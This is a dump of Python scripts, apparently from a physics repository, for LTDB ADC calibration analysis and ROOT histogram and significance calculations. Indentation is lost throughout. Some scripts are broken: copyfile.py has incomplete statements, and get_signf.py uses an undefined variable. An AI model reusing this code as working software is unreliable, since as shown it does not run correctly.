cmd="mv ADC_CH"+ str(int(8*maparray[int(i)]+8))+".bin ./Amp"+str(amp)+"/ADC_CH"+str(int(i*8+3+1))+".bin"
os.system(cmd)
#os.system("mv ADC_CH"+str ./data/")
def data_extract_amp():
for amp in range(16):
print("!!!Extracting Amp:", amp)
os.system("mkdir Amp" + str(amp))
filename = '/data/usr/kai/LTDB_PreProduction/LTDB_GUI_DEC2017/data/tmpdata_320ch_amp' + str(amp + 1) + '.dat'
# merge the 320 ADC channels
# cmd="extractL1Amode -f "+filename+" -t 5000 -m 0"
cmd = "merge_calib -m 3" + " -f " + filename
os.system(cmd)
adc_map_switch(amp)
# os.system("mv ADC_CH* Amp"+str(amp))
print("======== Move extracted file to the target: file/ ========")
os.system("rm -r file/*")
os.system("mv Amp* file")
if __name__ == '__main__':
for amp in range(16):
print ("!!!Extracting Amp:", amp)
os.system("mkdir Amp"+str(amp))
filename='/data/usr/kai/LTDB_PreProduction/LTDB_GUI_DEC2017/data/tmpdata_320ch_amp'+str(amp+1)+'.dat'
# merge the 320 ADC channels
cmd="merge_calib -m 3"+" -f "+ filename
os.system(cmd)
adc_map_switch(amp)
#os.system("mv ADC_CH* Amp"+str(amp))
print ("======== Move extracted file to the target: file/ ========")
os.system("rm -r file/*")
os.system("mv Amp* file")
<file_sep>/makeVar.py
#!/usr/bin/env python
######################
## HL-LHC projection###
## <NAME>, 2018 ###
######################
import sys
#ROOTSYS = '/afs/atlas.umich.edu/opt/root/lib'
#sys.path.append(ROOTSYS)
#####################
## Import Module ###
#####################
import array
import os
import glob
from math import sqrt,fabs,sin,log
from ROOT import TFile,TTree,TChain,TBranch,TH1,TH1F,TList
from ROOT import TLorentzVector,TGraphAsymmErrors,TMath
from ROOT import THStack,TCanvas,TLegend,TColor,TPaveText,TPad
from ROOT import gStyle,gDirectory
from ROOT import Double
def setVarHist(histo='', var='', **kw):
## book histogram
nbins=histo.GetNbinsX()
histo_xmin=histo.GetXaxis().GetXmin()
histo_xmax=histo.GetXaxis().GetXmax()
hist_up=TH1F(var+'_up', var+'_up', nbins, histo_xmin, histo_xmax)
hist_down=TH1F(var+'_down', var+'_down', nbins, histo_xmin, histo_xmax)
print nbins
for i in range(1,nbins):
ndata=0
ndata=histo.GetBinContent(i) # no overflow
nerror=histo.GetBinError(i)
nup = ndata+nerror
ndown = ndata-nerror
print "nup = ", nup, " ndown = ", ndown
hist_up.SetBinContent(i, nup)
hist_up.SetBinError(i, 0)
hist_down.SetBinContent(i, ndown)
hist_down.SetBinError(i, 0)
return [hist_up, hist_down]
###################
## Main Function ##
###################
if __name__ == "__main__":
if len(sys.argv) == 2:
inputdir=sys.argv[1]
else:
raise RuntimeError('One and only one arg needed: root file path')
#hname = 'MVV'
hname = 'TagJJM_final'
uncers=['dataonly', 'uncer0', 'uncer5', 'uncer10', 'uncer30']
outfile=inputdir+"/var_"+hname+".root"
resultRoot=TFile(outfile, 'RECREATE')
#print "Make => dataonly"
#in1=inputdir+"/dataonly_bins_differential_uncer0_"+hname+".root"
#fin1=TFile(in1)
#hist1=gDirectory.Get("final")
#outh1 = setVarHist(hist1, 'dataonly')
#outh1_up = outh1[0]
#outh1_up.SetDirectory(resultRoot)
#outh1_down = outh1[1]
#outh1_down.SetDirectory(resultRoot)
#resultRoot.Write()
for uncer in uncers:
print "Make => ", uncer
in2="test.root"
if uncer=='dataonly': in2=inputdir+"/dataonly_bins_differential_uncer0_"+hname+".root"
else: in2=inputdir+"/bins_differential_"+uncer+"_"+hname+".root"
fin2=TFile(in2)
hist2=gDirectory.Get("final")
outh2 = setVarHist(hist2, uncer)
outh2_up = outh2[0]
outh2_up.SetDirectory(resultRoot)
outh2_down = outh2[1]
outh2_down.SetDirectory(resultRoot)
resultRoot.Write()
print "Done! Output file: ", outfile
<file_sep>/LTDB_scripts/delayrun/dataproc.py
import array, sys
import numpy as np
import numpy.fft
import datetime, time
import matplotlib.pyplot as plt
import seaborn as sns
from scipy import stats
from pylab import matplotlib,figure,xlim,savefig,show,legend,plot,subplots,xlabel,ylabel,grid
def dataproc(adc_num):
data128=np.reshape(np.zeros(15*128),(-1,128))
shift=np.zeros(15)
#old_peaktime0=np.zeros(320)
#old_amp0=np.zeros(320)
peaktime0=np.zeros(320)
amp0=np.zeros(320)
baseline=np.zeros(320)
ch_list = list(range((adc_num - 1) * 4, adc_num * 4))
for CH in ch_list:
pos_shift=50
pos_shift_final=0
mean_val=[[0 for col in range(128)] for row in range(15)]
std_val=[[0 for col in range(128)] for row in range(15)]
mean_val_shift=[[0 for col in range(128)] for row in range(15)]
std_val_shift=[[0 for col in range(128)] for row in range(15)]
if CH!=-1:
print("Check=> CH", CH)
for ph in range(15):
filename="./goodfile/Phase"+str(14-ph)+"/ADC_CH"+str(CH+1)+".bin"
data=open(filename,'rb').read()
data16_orig=array.array('H', data)
data16_orig.byteswap()
offset=0
filesize=np.size(data16_orig)
#samples=int(filesize)-offset
samples=20480
data16=data16_orig[offset:offset+samples]
data16=np.mod(data16,2**12)
data_channel= np.transpose(np.reshape(data16,(-1,128)))
for i in range(128):
mean_val[ph][i]=np.mean(data_channel[i])
for i in range(128):
for j in range(int(samples/128)):
if abs(data_channel[i][j]-mean_val[ph][i])>8:
data_channel[i][j]=mean_val[ph][i]
for i in range(128):
mean_val[ph][i]=np.mean(data_channel[i])
std_val[ph][i]=np.std(data_channel[i])
##================= self combination ===========================
a_max_position=np.argmax(mean_val)
a_delay_max=int(a_max_position/128) #this delay should be consider as delay 0
a_max=[0 for col in range(15)]
a_small=[0 for col in range(15)]
for m in range(0, 15):
a_max[m]=np.argmax(mean_val[m])
if a_max[m]!=0 and a_max[m]!=127:
a_small[m]=min(abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]),abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1]))
elif a_max[m]==0:
a_small[m]=min(abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]),abs(mean_val[m][a_max[m]]-mean_val[m][127]))
elif a_max[m]==127:
a_small[m]=min(abs(mean_val[m][a_max[m]]-mean_val[m][0]),abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1]))
a_delay_min=np.argmin(a_small)
for m in range(0, 15):
biggest=a_max[m]
if a_delay_max>a_delay_min:
if m<=a_delay_max:
if m>a_delay_min:
pos_shift_final=pos_shift
elif m==a_delay_min:
if a_max[m]!=0 and a_max[m]!=127:
isPass=abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]) < abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1])
elif a_max[m]==0:
isPass=abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]) < abs(mean_val[m][a_max[m]]-mean_val[m][127])
elif a_max[m]==127:
isPass=abs(mean_val[m][a_max[m]]-mean_val[m][0]) < abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1])
#if abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]) < abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1]):
if isPass:
pos_shift_final=pos_shift-1
else:
pos_shift_final=pos_shift
else:
pos_shift_final=pos_shift-1
else:
pos_shift_final=pos_shift-1
else:
if m>a_delay_max:
if m<a_delay_min:
test=1
pos_shift_final=pos_shift-1
elif m==a_delay_min:
#if abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]) < abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1]):
if a_max[m]!=0 and a_max[m]!=127:
isPass=abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]) < abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1])
elif a_max[m]==0:
isPass=abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]) < abs(mean_val[m][a_max[m]]-mean_val[m][127])
elif a_max[m]==127:
isPass=abs(mean_val[m][a_max[m]]-mean_val[m][0]) < abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1])
if isPass:
pos_shift_final=pos_shift-1
else:
pos_shift_final=pos_shift
else:
pos_shift_final=pos_shift
else:
pos_shift_final=pos_shift
#print(pos_shift_final)
#print(a_delay_max, a_delay_min, m)
if biggest>pos_shift_final:
mean_val_shift[m][0:pos_shift_final+1]=mean_val[m][biggest-pos_shift_final:biggest+1]
mean_val_shift[m][pos_shift_final+1:128+pos_shift_final-biggest]=mean_val[m][biggest+1:128]
mean_val_shift[m][128+pos_shift_final-biggest:128]=mean_val[m][0:biggest-pos_shift_final]
std_val_shift[m][0:pos_shift_final+1]=std_val[m][biggest-pos_shift_final:biggest+1]
std_val_shift[m][pos_shift_final+1:128+pos_shift_final-biggest]=std_val[m][biggest+1:128]
std_val_shift[m][128+pos_shift_final-biggest:128]=std_val[m][0:biggest-pos_shift_final]
elif biggest<pos_shift_final:
mean_val_shift[m][pos_shift_final:128]=mean_val[m][biggest:biggest+128-pos_shift_final]
mean_val_shift[m][0:pos_shift_final-biggest]=mean_val[m][biggest+128-pos_shift_final:128]
mean_val_shift[m][pos_shift_final-biggest:pos_shift_final]=mean_val[m][0:biggest]
std_val_shift[m][pos_shift_final:128]=std_val[m][biggest:biggest+128-pos_shift_final]
std_val_shift[m][0:pos_shift_final-biggest]=std_val[m][biggest+128-pos_shift_final:128]
std_val_shift[m][pos_shift_final-biggest:pos_shift_final]=std_val[m][0:biggest]
else:
mean_val_shift[m]=mean_val[m]
data_shift=np.reshape(np.transpose(np.array([mean_val_shift[a_delay_max],mean_val_shift[np.mod(a_delay_max-1,15)],\
mean_val_shift[np.mod(a_delay_max-2,15)],mean_val_shift[np.mod(a_delay_max-3,15)],\
mean_val_shift[np.mod(a_delay_max-4,15)],mean_val_shift[np.mod(a_delay_max-5,15)],\
mean_val_shift[np.mod(a_delay_max-6,15)],mean_val_shift[np.mod(a_delay_max-7,15)],\
mean_val_shift[np.mod(a_delay_max-8,15)],mean_val_shift[np.mod(a_delay_max-9,15)],\
mean_val_shift[np.mod(a_delay_max-10,15)],mean_val_shift[np.mod(a_delay_max-11,15)],\
mean_val_shift[np.mod(a_delay_max-12,15)],mean_val_shift[np.mod(a_delay_max-13,15)],\
mean_val_shift[np.mod(a_delay_max-14,15)]])),128*15)
std_shift=np.reshape(np.transpose(np.array([std_val_shift[a_delay_max],std_val_shift[np.mod(a_delay_max-1,15)],\
std_val_shift[np.mod(a_delay_max-2,15)],std_val_shift[np.mod(a_delay_max-3,15)],\
std_val_shift[np.mod(a_delay_max-4,15)],std_val_shift[np.mod(a_delay_max-5,15)],\
std_val_shift[np.mod(a_delay_max-6,15)],std_val_shift[np.mod(a_delay_max-7,15)],\
std_val_shift[np.mod(a_delay_max-8,15)],std_val_shift[np.mod(a_delay_max-9,15)],\
std_val_shift[np.mod(a_delay_max-10,15)],std_val_shift[np.mod(a_delay_max-11,15)],\
std_val_shift[np.mod(a_delay_max-12,15)],std_val_shift[np.mod(a_delay_max-13,15)],\
std_val_shift[np.mod(a_delay_max-14,15)]])),128*15)
## ===================================== end of combination =============================
### calculation of peaking time and amplitude for CH0
baseline[CH]=np.mean(data_shift[0:500])
baseline0=np.mean(data_shift[0:500])
#maxvalue0=np.max(data_shift)
maxpoint0=np.argmax(data_shift)
xmax=[maxpoint0-1, maxpoint0, maxpoint0+1]
P1=np.polyfit(xmax, data_shift[maxpoint0-1:maxpoint0+2],2)
#print P1
maxvalue0=float((4*P1[0]*P1[2]-P1[1]*P1[1])/(4*P1[0]))
endpoint0=float(-1*P1[1]/(2*P1[0]))
value0p5=float(baseline0+0.05*(maxvalue0-baseline0))
for i in range(1920):
if data_shift[i] >= value0p5:
minpoint0=i
break
xmin=[minpoint0-1,minpoint0]
P2=np.polyfit(xmin, data_shift[minpoint0-1:minpoint0+1],1)
#print P2
startpoint0=float((value0p5-P2[1])/P2[0])
peaktime0[CH] = (endpoint0-startpoint0)*24.95/15
amp0[CH] = (maxvalue0-baseline0)
#print("Peaking time of CH%s: %f" %(CH, peaktime0))
#print("Amplitude of CH%s: %f" %(CH, amp0))
#print("Crosstalk of CH%s: %f" %(CH, amp0/1314.3085))
matplotlib.style.use('ggplot')
'''
# plot fft
data3=[]
for i in range(1000,1500):
data3.extend(data_shift[i])
data3_fft = np.fft.fft(data3)
data3_fft = data3_fft[range(250)]
freq=np.fft.fftfreq(500,1.667e-3)
freq=freq[range(250)]
plt.plot(freq[2:250],abs(data3_fft[2:250]))
xlabel('f (MHz)')
ylabel('ADC data')
xlim([0,250])
'''
matplotlib.style.use('ggplot')
f=figure(1000+int(CH))
ax = f.add_subplot(111)
ax.plot( data_shift[0:1920],'y',label='CH%i'%(int(CH%4)+1))
ax.legend(loc=0,fontsize=12)
ax.set_ylabel('ADC data')
ax.set_xlabel('Samples/720MHz')
ax.set_xlim([500,1500])
#ax[2].set_ylim([-50,3000])
f.savefig("./plots/wave_CH"+str(CH)+".pdf", format='pdf')
old_peaktime0 = peaktime0
old_amp0 = amp0
for m in range(320):
if peaktime0[319-m]==0:
peaktime0=np.delete(peaktime0, 319-m)
amp0=np.delete(amp0, 319-m)
ave_baseline=np.mean(baseline)
print ("The average of 320-ch baseline: ", ave_baseline)
print (amp0)
print (peaktime0)
mu_pkt = np.mean(peaktime0)
std_pkt = np.std(peaktime0)
mu_amp = np.mean(amp0)
std_amp = np.std(amp0)
# ### plot amplitude
# f=figure(3001)
# ax = f.add_subplot(211)
# ax.plot(amp0, 'b')
# ax.set_ylabel('Amplitude / (ADC code)')
# ax.set_xlabel('Channel Number')
# ax.set_xlim([0,320])
# f.savefig("dis_amp.pdf", format='pdf')
#
# ### plot peaking time
# f=figure(3002)
# ax = f.add_subplot(211)
# ax.plot(peaktime0, 'b')
# ax.set_ylabel('Peaking time (ns)')
# ax.set_xlabel('Channel Number')
# ax.set_xlim([0,320])
# f.savefig("dis_peakingtime.pdf", format='pdf')
#
# ### calculation of std
# figure(2001)
# sns.distplot(peaktime0, bins=10, kde=False, fit=stats.norm);
# plt.xlabel("Peaking time / (ns)")
# plt.ylabel("Count")
# plt.text(53, 0.8, '$\mu=$' + str(mu_pkt))
# plt.text(53, 0.75, '$\sigma=$' + str(std_pkt))
# plt.savefig("histo_peakingtime.pdf", format='pdf')
#
# figure(2002)
# sns.distplot(amp0, bins=10, kde=False, fit=stats.norm);
# plt.xlabel("Amplitude / (ADC code)")
# plt.ylabel("Count")
# #plt.title(r'Histogram of Pedestal: $\mu=%f$, $\sigma=%f$' % (mu, sigma))
# plt.text(2250, 0.0055, '$\mu=$' + str(mu_amp))
# plt.text(2250, 0.0052, '$\sigma=$' + str(std_amp))
# plt.savefig("histo_amp.pdf", format='pdf')
show()
def main():
adc_num_s = input("enter ADC number:")
adc_num = int(adc_num_s)
dataproc(adc_num)
if __name__ == '__main__':
main()
<file_sep>/tree2hist.py
#!/usr/bin/env python
###############################
# <NAME>, Apr. 2018 @BNL
##############################
import sys
import math
import array
import os
import glob
from math import sqrt,fabs,sin,log
from ROOT import TFile,TTree,TChain,TBranch,TH1,TH1F,TList
from ROOT import TLorentzVector,TGraphAsymmErrors,TMath
from ROOT import THStack,TCanvas,TLegend,TColor,TPaveText,TPad
from ROOT import gStyle,gDirectory,gPad
from ROOT import Double
def getHist(tr='', cate='', mhist1="", **kw):
cut = "&& ((n_jets >= 2 && DNN_VBF < 0.8 && DNN_ggF_no_KD > 0.5) || (n_jets < 2 && DNN_ggF_no_KD > 0.5))"
if cate=="ggF_2e2mu": cut += "&& (event_type==3||event_type==2)"
elif cate=="ggF_4e": cut += "&& event_type==1"
elif cate=="ggF_4mu": cut += "&& event_type==0"
hname = "%s_%s" % (mhist1, cate)
#hist=TH1F(hname, hname, 1000, 0, 1000)
#hist=TH1F(hname, hname, 600, -3, 3)
hist=TH1F(hname, hname, 1000, 50, 150)
hist.Sumw2()
tr.Draw("%s>>%s" %(mhist1, hname), "weight*(weight!=0. %s)" %(cut))
return hist
###################
## Main Function ##
###################
if __name__ == "__main__":
inputh ="/afs/cern.ch/work/r/rwoelker/public/2019-11-08_prod_v21_ggF_DNN/mc16a/mc16_13TeV.303327.MadGraphPythia8EvtGen_A14NNPDF23LO_RS_G_ZZ_llll_c10_m0600_dnn.root"
#inputh ="/afs/cern.ch/work/r/rwoelker/public/2019-11-08_prod_v21_ggF_DNN/mc16a/mc16_13TeV.341278.PowhegPythia8EvtGen_CT10_AZNLOCTEQ6L1_ggH600NW_ZZ4lep_dnn.root"
trname='tree_incl_all'
#mhist1='m4l_constrained_HM'
mhist1='mZ1_constrained'
outfile="hist_RS_G_m0600.root"
#outfile="hist_ggH600NW.root"
resultRoot=TFile(outfile, 'UPDATE')
tfin=TFile.Open(inputh)
tr=tfin.Get(trname)
h1=getHist(tr, "ggF_2e2mu", mhist1)
h2=getHist(tr, "ggF_4e", mhist1)
h3=getHist(tr, "ggF_4mu", mhist1)
h1.SetDirectory(resultRoot)
h2.SetDirectory(resultRoot)
h3.SetDirectory(resultRoot)
resultRoot.Write()
<file_sep>/LTDB_scripts/ramprun/getSel_new.py
#!/usr/bin/env python
import array, sys, os
import numpy as np
import datetime, time
from pylab import matplotlib,figure,xlim,savefig,show,legend,plot,subplots,xlabel,ylabel,grid,text
def fileSel(filename):
data=open(filename,'rb').read(50000)
data16_orig=array.array('H', data)
data16_orig.byteswap()
offset=0
filesize=np.size(data16_orig)
#samples=int(filesize)-offset
samples=20480
data16=data16_orig[offset:offset+samples]
data16=np.mod(data16,2**12)
data_channel= np.transpose(np.reshape(data16,(-1,64)))
mean_val=np.zeros(64)
for i in range(64):
mean_val[i]=np.mean(data_channel[i])
for i in range(64):
for j in range(int(samples/64)):
if abs(data_channel[i][j]-mean_val[i])>8:
data_channel[i][j]=mean_val[i]
for i in range(64):
mean_val[i]=np.mean(data_channel[i])
shift=15-np.argmax(mean_val)
data128=np.roll(mean_val,shift)
amp=data128[15]-data128[0]
return amp
def getSel(adc_num):
# for i in range(80):
ch_list = list(range((adc_num - 1) * 4, adc_num * 4))
for ap in range(16):
# for CH in range(320):
for CH in ch_list:
# if CH==166: continue
filename = "./file/Amp" + str(ap) + "/ADC_CH" + str(CH + 1) + ".bin"
amp = fileSel(filename)
print("Check=> Amp:", amp, " CH:", CH + 1, " ####amp:", ap)
targetf = "./goodfile/Amp" + str(ap)
if not os.path.exists(targetf): os.system("mkdir " + targetf)
cmd = 'cp ' + filename + ' ' + targetf
if (amp > 100):
os.system(cmd)
print("!!! Move ", filename)
def main():
adc_num_s = input("enter ADC number:")
adc_num = int(adc_num_s)
getSel(adc_num)
if __name__ == '__main__':
main()
<file_sep>/LTDB_scripts/ramprun/dataproc_tmp.py
import array, sys
import numpy as np
import numpy.fft
import datetime, time
import matplotlib.pyplot as plt
import seaborn as sns
from scipy import stats
from pylab import matplotlib,figure,xlim,savefig,show,legend,plot,subplots,xlabel,ylabel,grid
def data_proc_tmp(adc_num):
data128=np.reshape(np.zeros(16*128),(-1,128))
maxpos=[15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15]
shift=np.zeros(16)
#old_peaktime0=np.zeros(64)
#old_amp0=np.zeros(64)
peaktime0=np.zeros(64)
amp0=np.zeros(64)
#if sys.argv[1]=="-l": L=sys.argv[2]
ch_list = list(range((adc_num - 1) * 4, adc_num * 4))
for CH in ch_list:
#for CH in 217,240:
print ("Check=> CH", CH)
#if CH==16:
#for ph in 0,1,2,3,5,6,7,8,10,11,12,13,14:
for ph in range(16):
filename="./file/Amp"+str(ph)+"/ADC_CH"+str(CH)+".bin"
#filename="./goodfile/Amp"+str(ph)+"/ADC_CH"+str(CH)+".bin"
data=open(filename,'rb').read()
data16_orig=array.array('H', data)
data16_orig.byteswap()
offset=0
filesize=np.size(data16_orig)
#samples=int(filesize)-offset
samples=20480
data16=data16_orig[offset:offset+samples]
data16=np.mod(data16,2**12)
data_channel= np.transpose(np.reshape(data16,(-1,128)))
mean_val=np.zeros(128)
for i in range(128):
mean_val[i]=np.mean(data_channel[i])
for i in range(128):
for j in range(int(samples/128)):
if abs(data_channel[i][j]-mean_val[i])>8:
data_channel[i][j]=mean_val[i]
for i in range(128):
mean_val[i]=np.mean(data_channel[i])
shift[ph]=maxpos[ph]-np.argmax(mean_val)
data128[ph]=np.roll(mean_val,int(shift[ph]))
'''
print(data128[ph])
matplotlib.style.use('ggplot')
f, ax = subplots(2,1,sharex=True)
ax[0].plot(mean_val[0:128],'r',label='CH1 raw')
ax[1].plot(data128[ph][0:128],'g',label='CH1 after moving')
ax[0].legend(loc=0,fontsize=12)
ax[1].legend(loc=0,fontsize=12)
ax[0].set_ylabel('ADC data')
ax[1].set_ylabel('ADC data')
ax[1].set_xlabel('Samples')
#ax.savefig("histo_points.pdf", format='pdf')
show()
'''
dataall=np.reshape(np.transpose(data128),(-1,1))
matplotlib.style.use('ggplot')
'''
# plot the waveform of each channel
if CH>47:
f=figure(int(CH))
ax = f.add_subplot(111)
ax.plot(dataall, 'b')
ax.set_ylabel('ADC data')
ax.set_xlabel('Samples/600MHz')
ax.set_xlim([0,128*15])
'''
# test for each phase
for i in range(16):
f=figure(int(i))
ax = f.add_subplot(111)
ax.plot(data128[i], 'b')
ax.set_ylabel('ADC data')
ax.set_xlabel('Samples/600MHz')
ax.set_xlim([0,128*1])
show()
<file_sep>/LTDB_scripts/crosstalk/copyfile.py
import os
dest_dir =
os.mkdir('./')
os.system("mkdir " + targetf)
path = '/data/usr/kai/LTDB_PreProduction/LTDB_GUI_DEC2017/data/'
for ph in range(15):
filename = path + 'tmpdata_320ch_ph%i.dat'%
cmd = 'cp ' + filename + ' ' + targetf
print("copy file %s to %s..."%(filename, targetf))
os.system(cmd)<file_sep>/LTDB_scripts/ramprun/dataproc.py
import array, sys
import numpy as np
import datetime, time
from scipy import stats
import seaborn as sns
import pylab as plt
from pylab import matplotlib,figure,xlim,savefig,show,legend,plot,subplots,xlabel,ylabel,grid,text
def dataproc(adc_num):
data128=np.reshape(np.zeros(16*128),(-1,128))
#maxpos=[15,15,15,15,15,15,15,15,15,15,15,15]
amp=np.zeros(16)
ch=320
nl1=np.zeros(ch)
nl1_raw=np.zeros(ch)
nlall=[[0 for col in range(16)] for row in range(ch)]
ch_list = list(range((adc_num - 1) * 4, adc_num * 4))
#for CH in 8,9,10,11,12,13,14,15,108,109,110,111,136,137,138,139,208,209,210,211:
# for CH in 8,9:
for CH in ch_list:
#if CH==166 or CH==176 or CH==177: continue
print ("Check=>CH", CH)
for ph in range(16):
filename="./goodfile/Amp"+str(ph)+"/ADC_CH"+str(CH+1)+".bin"
data=open(filename,'rb').read(50000)
data16_orig=array.array('H', data)
data16_orig.byteswap()
np.set_printoptions(formatter={'int':lambda x:'0x{0:04x}'.format(x)})
offset=0
filesize=np.size(data16_orig)
#samples=int(filesize)-offset
samples=20480
data16=data16_orig[offset:offset+samples]
data16=np.mod(data16,2**12)
data_channel= np.transpose(np.reshape(data16,(-1,128)))
mean_val=np.zeros(128)
for i in range(128):
mean_val[i]=np.mean(data_channel[i])
for i in range(128):
for j in range(int(samples/128)):
if abs(data_channel[i][j]-mean_val[i])>8:
data_channel[i][j]=mean_val[i]
for i in range(128):
mean_val[i]=np.mean(data_channel[i])
shift=15-np.argmax(mean_val)
data128[ph]=np.roll(mean_val,shift)
amp[ph]=data128[ph][15]-data128[ph][0]
#print amp
matplotlib.style.use('ggplot')
figure(CH);
plot(data128[0],'r')
plot(data128[1],'g')
plot(data128[2],'b')
plot(data128[3],'r')
plot(data128[4],'g')
plot(data128[5],'b')
plot(data128[6],'r')
plot(data128[7],'g')
plot(data128[8],'b')
plot(data128[9],'r')
plot(data128[10],'g')
plot(data128[11],'b')
plot(data128[12],'r')
plot(data128[13],'g')
plot(data128[14],'b')
plot(data128[15],'r')
xlabel('Samples')
ylabel('Amplitude / (ADC code)')
xlim([0,60])
grid(True);
savefig("./plots/amp_nl_CH"+str(CH)+".png", format='png')
len_pt=12
in_amp=[1*50/50.,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]
P1=np.polyfit(in_amp[0:len_pt], amp[0:len_pt], 1)
in_amp=np.array(in_amp)
yfit1=P1[0]*in_amp+P1[1];
nl1[CH]=max(abs(yfit1[0:len_pt]-amp[0:len_pt]))/max(yfit1[0:len_pt])
print (yfit1[0:len_pt]-amp[0:len_pt])
nlall[CH]=(yfit1-amp)/max(yfit1[0:len_pt])
fig1=figure(CH+100)
ax1=fig1.add_subplot(2,1,1)
ax1.plot(in_amp,nlall[CH]*100,'g')
ax1.grid(True)
ax1.set_ylabel('Non-linearity / %')
ax1.set_ylim([-1.,1.])
ax2=fig1.add_subplot(2,1,2)
ax2.plot(in_amp,amp,'g*', label="CH"+str(CH))
ax2.plot(in_amp,yfit1,'g')
ax2.grid(True)
ax2.legend(loc=2)
ax2.set_xlabel('Input Amplitude')
ax2.set_ylabel('Output Amplitude (ADC code)')
ax1.set_xlim([0,17])
text(7,1500,'Non-Linearity='+str(nl1[CH]*100)[0:6]+'%')
fig1.savefig("./plots/fit_nl_CH"+str(CH)+".png", format='png')
nl1_raw=nl1
for i in range(320):
if nl1[319-i]==0:
nl1=np.delete(nl1, 319-i)
print (nl1)
mean_nl = np.mean(nl1)
min_nl = np.min(nl1)
max_nl = np.max(nl1)
sigma_nl = np.std(nl1)
print ([min_nl, mean_nl, max_nl])
matplotlib.style.use('ggplot')
figure(1000);
plot(nl1*100,'g')
xlabel('Channel Number')
ylabel('Non-linearity (%)')
xlim([0,20])
grid(True);
savefig("./plots/dis_nl.png", format='png')
figure(1001)
sns.distplot(nl1, bins=5, kde=False, fit=stats.norm);
plt.xlabel("non-linearity")
plt.ylabel("Count")
#plt.title(r'Histogram of Pedestal: $\mu=%f$, $\sigma=%f$' % (mu, sigma))
plt.text(max_nl-0.1*(max_nl-min_nl), 1.1/(max_nl-min_nl), '$\mu=$' + str(mean_nl))
plt.text(max_nl-0.1*(max_nl-min_nl), 0.9/(max_nl-min_nl), '$\sigma=$' + str(sigma_nl))
plt.savefig("./plots/hist_nl.png", format='png')
show()
if __name__ == '__main__':
dataproc(3)
<file_sep>/get_signf.py
#!/usr/bin/env python
######################
## rebin histogram ###
## Lailin, 2012 ######
######################
import sys
#ROOTSYS = '/afs/atlas.umich.edu/opt/root/lib'
#sys.path.append(ROOTSYS)
#####################
## Import Module ###
#####################
import array
import os
import glob
from math import sqrt,fabs,sin,log
from ROOT import TFile,TTree,TChain,TBranch,TH1,TH1F,TList
from ROOT import TLorentzVector,TGraphAsymmErrors,TMath
from ROOT import THStack,TCanvas,TLegend,TColor,TPaveText,TPad
from ROOT import gStyle,gDirectory
from ROOT import Double
def get_hist_significance(histsig='', histbkg='', profile=1, scale=1, **kw):
nsig_tot=histsig.Integral()
nbkg_tot=histbkg.Integral()
## scale sig and bkg histo to 1
if scale==1:
if nsig_tot!=0:
histsig.Scale(1.0/nsig_tot)
nsig_tot=1.0
if nbkg_tot!=0:
histbkg.Scale(1.0/nbkg_tot)
nbkg_tot=1.0
## book histogram
nbins=histsig.GetNbinsX()
histo_xmin=histsig.GetXaxis().GetXmin()
histo_xmax=histsig.GetXaxis().GetXmax()
## significance
hist_signf=TH1F('significance', 'significance', nbins, histo_xmin, histo_xmax)
hist_signf.Sumw2()
for i in range(1,nbins):
nsig, nbkg=0, 0
nsig=histsig.GetBinContent(i) # no overflow
nbkg=histbkg.GetBinContent(i) # no overflow
print "sig/bkg: ", nsig, nbkg
signf=get_signf(nsig, nbkg, profile)
hist_signf.SetBinContent(i, signf)
return [hist_signf]
def get_signf(nsig=1, nbkg=1, profile=1, uncer=0,**kw):
signf=0
if profile==0:
if nbkg+nsig>0: signf=nsig/sqrt(nbkg+nsig)
else: signf=-1
if profile==1:
if nbkg!=0:
if nsig/nbkg <-1:
print 'Error=> nsig= %g , nbkg= %g ' % (nsig, nbkg)
signf=-1
else:
if uncer==0: signf2=(2*((nsig+nbkg)*log(1+nsig/nbkg) - nsig))
else: signf2=2.*( (nsig+nbkg)*log((nsig+nbkg)*(nbkg+(nbkg*uncer)*(nbkg*uncer))/(nbkg*nbkg+(nsig+nbkg)*(nbkg*uncer)*(nbkg*uncer))) - nbkg*nbkg/(nbkg*uncer)/(nbkg*uncer)*log(1+(nbkg*uncer)*(nbkg*uncer)*nsig/(nbkg*(nbkg+(nbkg*uncer)*(nbkg*uncer)))))
if signf2 >=0 : signf=sqrt(signf2)
else:
print 'Error=> nsig= %g , nbkg= %g signf2= %g ' % (nsig, nbkg, signf2)
signf=-1
else: signf=-1
return signf
###################
## Main Function ##
###################
if __name__ == "__main__":
sig1="Up_ewk"
bkg1="Up_qcd"
cut="TagJJM"
uncer=2
if len(sys.argv) == 2:
inputdir=sys.argv[1]
elif len(sys.argv) == 3:
inputdir=sys.argv[1]
cut=sys.argv[2]
else:
raise RuntimeError('One and only one arg needed: root file path')
outfile=inputdir+'significance_uncer0.root'
resultRoot=TFile(outfile, 'RECREATE')
inputSig1="{0}/{1}/hist-xAOD.root".format(inputdir, sig1)
inputBkg1="{0}/{1}/hist-xAOD.root".format(inputdir, bkg1)
f_sig1=TFile(inputSig1);
histo_Sig1=gDirectory.Get(hname)
f_bkg1=TFile(inputBkg1);
histo_Bkg1=gDirectory.Get(hname)
histo_Sig=histo_Sig1.Clone()
histo_Sig.Rebin(50)
histo_Bkg=histo_Bkg1.Clone()
histo_Bkg.Rebin(50)
nsig = histo_Sig.Integral()
nbkg = histo_Bkg.Integral()
m_signif = get_signf(nsig, nbkg, 1, uncer)
print m_signif
signf_results=get_hist_significance(histo_Sig, histo_Bkg, 1, 0)
histo_signf=signf_results[0]
histo_signf.SetDirectory(resultRoot)
resultRoot.Write()
print "Done! Output file: ", outfile
<file_sep>/domapping.py
#!/usr/bin/env python
import sqlite3
